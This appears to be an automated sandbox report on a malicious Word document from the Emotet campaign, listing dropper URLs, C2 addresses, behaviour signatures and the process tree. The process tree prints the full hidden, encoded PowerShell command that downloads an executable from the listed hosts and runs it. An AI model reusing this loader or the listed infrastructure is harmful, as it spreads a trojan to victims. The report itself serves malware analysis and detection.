Analysis

  • max time kernel
    30s
  • resource
    win10v191014
  • submitted
    12-12-2019 09:04

General

  • Target

    a173abf8a8a9f3775bc4f197652d1dd5d9271dd89ad1f317958ca152cc2ea6c0.doc

  • Sample

    191212-tc25hhj14j

  • SHA256

    a173abf8a8a9f3775bc4f197652d1dd5d9271dd89ad1f317958ca152cc2ea6c0

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://theaustinochuks.com/personal_array/kvrmif/

exe.dropper

http://sarafifallahi.com/wp-admin/uUXtpLhI/

exe.dropper

http://faustosarli.com/wp-admin/mYZW0/

exe.dropper

http://janejahan.com/wp-content/hqiw1u9/

exe.dropper

http://vikstory.ca/h/f2cgRvw/

Extracted

Family

emotet

C2

110.143.84.202:80

75.80.148.244:80

64.53.242.181:8080

37.59.24.177:8080

66.34.201.20:7080

108.179.206.219:8080

45.56.88.91:443

206.189.112.148:8080

211.63.71.72:8080

178.210.51.222:8080

92.186.52.193:80

195.244.215.206:80

2.38.99.79:80

37.157.194.134:443

206.81.10.215:8080

80.21.182.46:80

80.11.163.139:21

190.56.255.118:80

190.226.44.20:21

173.70.81.77:80

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a173abf8a8a9f3775bc4f197652d1dd5d9271dd89ad1f317958ca152cc2ea6c0.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    PID:4864
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:408
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:60
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABQAGUAZwB4AGkAagByAGsAdgBwAD0AJwBEAGUAbgBsAGsAdQB3AGQAdQBmAHoAJwA7ACQAUABhAHAAbgBvAHkAZABzAHgAIAA9ACAAJwA1ADEAMQAnADsAJABHAGwAegBpAGEAZwBwAGoAPQAnAEYAZQBkAHIAeQB2AHQAbwBhAG4AJwA7ACQATAB0AGUAdQB2AHMAcQBtAGIAbABhAHEAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUABhAHAAbgBvAHkAZABzAHgAKwAnAC4AZQB4AGUAJwA7ACQAQQBtAHMAeQBiAGMAcgBrAGYAPQAnAEkAYwBmAGsAbgBwAGkAeQAnADsAJABKAG8AawBzAHYAcQB5AHYAeQBtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAHcAZQBCAGMAbABJAGUAbgBUADsAJABKAHUAeABkAHIAaABoAGoAdABpAD0AJwBoAHQAdABwADoALwAvAHQAaABlAGEAdQBzAHQAaQBuAG8AYwBoAHUAawBzAC4AYwBvAG0ALwBwAGUAcgBzAG8AbgBhAGwAXwBhAHIAcgBhAHkALwBrAHYAcgBtAGkAZgAvACoAaAB0AHQAcAA6AC8ALwBzAGEAcgBhAGYAaQBmAGEAbABsAGEAaABpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB1AFUAWAB0AHAATABoAEkALwAqAGgAdAB0AHAAOgAvAC8AZgBhAHUAcwB0AG8AcwBhAHIAbABpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBtAFkAWgBXADAALwAqAGgAdAB0AHAAOgAvAC8AagBhAG4AZQBqAGEAaABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBoAHEAaQB3ADEAdQA5AC8AKgBoAHQAdABwADoALwAvAHYAaQBrAHMAdABvAHIAeQAuAGMAYQAvAGgALwBmADIAYwBnAFIAdgB3AC8AJwAuACIAcwBgAHAAbABJAHQAIgAoACcAKgAnACkAOwAkAEMAZgBnAHEAZQBlAHoAbAA9ACcASQBvAHkAawBtAHAAYwBlAG0AcgAnADsAZgBvAHIAZQBhAGMAaAAoACQARAB4AG0AZgB4AHQAYQB1AGUAYwB4AHAAdAAgAGkAbgAgACQASgB1AHgAZAByAGgAaABqAHQAaQApAHsAdAByAHkAewAkAEoAbwBrAHMAdgBxAHkAdgB5AG0ALgAiAEQAbwBgAFcATgBMAG8AQQBkAGYAYABJAGAATABlACIAKAAkAEQAeABtAGYAeAB0AGEAdQBlAGMAeABwAHQALAAgACQATAB0AGUAdQB2AHMAcQBtAGIAbABhAHEAZgApADsAJABMAGQAdgBvAHMAbABnAHoAcwA9ACcARwB5AGgAbABoAHcAeQByAHkAdQBoACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQATAB0AGUAdQB2AHMAcQBtAGIAbABhAHEAZgApAC4AIgBsAGUAbgBgAEcAYABUAEgAIgAgAC0AZwBlACAAMwAzADkAOAAyACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAEEAUgBUACIAKAAkAEwAdABlAHUAdgBzAHEAbQBiAGwAYQBxAGYAKQA7ACQAVgB4AHgAbQBkAG0AYwBpAD0AJwBEAHYAcQBsAG8AZQBsAHUAdAB4AHIAbQAnADsAYgByAGUAYQBrADsAJABWAGkAbwB6AHUAbQBlAGwAPQAnAFgAbgBqAG4AbwBjAG8AeQBkAG0AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBtAGQAdQBqAG0AeQB3AG0AaQA9ACcAUQB2AHgAYwBvAGoAcABzAHUAZwBvAGEAJwA=
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4036
      • C:\Users\Admin\511.exe
        "C:\Users\Admin\511.exe"
        2⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4600
        • C:\Users\Admin\511.exe
          --a155b853
          3⤵
          • Suspicious use of SetWindowsHookEx
          • Executes dropped EXE
          • Suspicious behavior: EmotetMutantsSpam
          PID:4528

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    3
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\511.exe
    • C:\Users\Admin\511.exe
    • C:\Users\Admin\511.exe
    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-634046074-2673730973-2644684987-1000\0f5007522459c86e95ffcc62f32308f1_293fa5bd-edfb-4bba-800e-a7dce3ea3438
    • memory/4528-10-0x0000000000680000-0x0000000000697000-memory.dmp
      Filesize

      92KB

    • memory/4528-11-0x0000000000400000-0x000000000048D000-memory.dmp
      Filesize

      564KB

    • memory/4600-7-0x0000000002150000-0x0000000002167000-memory.dmp
      Filesize

      92KB

    • memory/4864-0-0x000002CF5CA80000-0x000002CF5CA81000-memory.dmp
      Filesize

      4KB